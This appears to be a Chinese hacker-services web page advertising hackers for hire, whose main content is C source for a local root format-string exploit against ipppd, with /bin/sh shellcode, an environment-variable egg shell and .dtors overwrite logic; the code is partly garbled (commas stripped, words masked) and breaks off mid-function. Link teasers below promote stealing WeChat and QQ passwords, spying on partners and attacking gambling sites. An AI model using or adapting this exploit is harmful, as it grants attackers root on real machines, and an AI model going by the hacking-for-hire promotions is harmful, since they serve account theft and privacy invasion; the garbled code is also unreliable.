真实黑客联系方式(先做再付黑客联系方式

访客4年前黑客资讯381

/ #include #include #include #include #define ADD 0x100 #define OCT( b0 b1 b2 b3 addr ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } #define DTORS "/usr/bin/objdump -s -j .dtors /usr/ *** in/ipppd | /usr/bin/cut -c 2-9 |/usr/bin/awk NR==5" #define IPPPD "/usr/ *** in/ipppd" #define OFFSET 11 #define BASE 5 #define DEF_EGGSIZE 500 #define DEF_ALIGN 4 char vitamin[300]; char DtorsAddr[36]; unsigned long get_sp(void) { __a *** __ ("movl %esp %eax"); } char nop[] = { 0x90 }; static char shellcode[] = //ptrace24.c shellcode "\x6a\x17\x58\x31\xdb\xcd\x80\x31" "\xd2\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\x8d\x42\x0b\xcd\x80"; int i=0; char *pointer; char *nops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int find(){ /*Thanks to GOBBLES for the find() code*/ pointer = (char *)get_sp(); while((i = strncmp(pointer nops strlen(nops))) != 0) pointer++; if(i == 0) { pointer=pointer+1; return pointer; } else { fprintf(stderr "Sorry nimm GDB\n"); return; } } char * grepit() { //from the Mixter md5bd.c backdoor FILE *p; char fmt[1024]; snprintf(fmt 1024 DTORS); p = popen(fmt "r"); memset(DtorsAddr 0 36); fread(DtorsAddr 32 1 p); fclose(p); return DtorsAddr; } char * build_hn( unsigned int retaddr unsigned int offset unsigned int base ) { // From the fmtbuilder.c unsigned int length; unsigned int high low; char * buf; int start = ((base / (ADD*ADD)) + 1)*ADD*ADD; high = ( retaddr & 0xffff0000 ) >> 16; low = retaddr & 0x0000ffff; length = ( sizeof( offset ) * 2 ) + sizeof( high ) + sizeof( low ) + 15; if ( !(buf = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr "Can't allocate buffer (%d)\n" length ); exit( -1 ); } memset( buf 0 length ); snprintf( buf length "%%.%hdx%%%d$n%%.%hdx%%%d$hn" low - ( sizeof( size_t ) * 2 ) + start - base offset high - low + start offset+1 ); return buf; } void soso(void) { printf ( "\t\t***yet another lame ipppd local root formatstring exploit***\n\n"); printf ( "**usage:\n\n exploitipppd -s start the eggshell -e !ExploRe iT! [-d .dtors section -o offset -b base]\n\n"); } void egg() { char *eggbuf *buf_ptr; int align i eggsize ; align = DEF_ALIGN; eggsize = DEF_EGGSIZE ; if ( (eggbuf = malloc( eggsize )) == NULL ) { printf ("error : malloc \n"); exit (-1); } /* set egg buf */ memset( eggbuf (int)NULL eggsize ); for ( i = 0; i < 250 ; i++ ) strcat ( eggbuf nop ); strcat ( eggbuf shellcode ); for ( i =0 ; i < align ; i++ ) strcat ( eggbuf "A"); memcpy ( eggbuf "S=" 2 ); putenv ( eggbuf ); fprintf(stderr "\nUse ./exploitipppd -e to explore ipppd now\n\n"); system("/bin/sh"); } int main( int argc char **argv[] ) { char opt; char * fmt; char * endian; unsigned long locaddr retaddr; unsigned int offset base align = 0; unsigned char b0 b1 b2 b3; int length ch; int t=0 u=0; if(argc < 2) { soso(); exit(1); } length = ( sizeof( size_t ) * 16 ) + 1; if ( !(endian = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr "Can't allocate buffer (%d)\n" length ); exit( -1 ); } memset( endian 0 length ); offset = OFFS

相关文章

找黑客收集出轨证据-黑客攻击博彩网站犯法吗(黑客攻击博彩获利)

找黑客收集出轨证据-黑客攻击博彩网站犯法吗(黑客攻击博彩获利)

找黑客收集出轨证据相关问题 该站点已被黑客攻击相关问题 黑客需要懂得什么技术 黑客教你qq定位手机位置(黑客教你3分钟盗qq)...

最新可用的win10专业版激活密钥

  伴随着应用win10系统软件的客户愈来愈多,常常有客户问我是否有win10标准版激活密钥,做为win10很火爆的一个系统版本,win10标准版激活密钥是毫无疑问要出示给大伙儿的。   伴随着win...

找微信密码黑客软件手机版,免费找取微信软件的下载

盗qq密码黑客工具手机安卓版,完全免费窃取手机微信软件的免费下载有的人有很高的技术性,能够盗取他人的qq密码,因此在密码设置时,尽可能设计方案出尽量多的登陆密码。 你确实能偷手机微信的登陆密码吗?...

嫣怡香港伴游-演员酒店优惠促销

嫣怡香港伴游-演员酒店优惠促销 伴游描述:最近有很多朋友在商务预约网后台留言,想了解关于嫣怡香港伴游信息。于是小编通过百度、知乎、文库等途径,总结了以下关于嫣怡香港伴游的全部内容。希望对大家有所帮...

微信聊天记录别人能查出来吗(微信聊天记录别人能调出来吗)

微信聊天纪录他人能查出吗(微信聊天纪录他人会调出去吗) 微信聊天纪录归属于私人信息,就算是腾讯官方的网络服务器也不会储存该信息内容,此一部分数据信息仅会储存个人登录的机器设备以上。假如微信聊天数据信...

网红怎么赚钱(不带货的网红是怎么赚钱的)

网红怎么赚钱(不带货的网红是怎么赚钱的)

别的不说,我们就来说说李佳琦吧! 前不久爆出来,李佳琦1.3亿买豪宅,而且这个钱还是人家的净资产! 可是李佳琦1.3亿豪宅曝光后,评论里留下骂声一片? 因为有很多人跟楼主一样的疑问,为什么网红那么赚钱...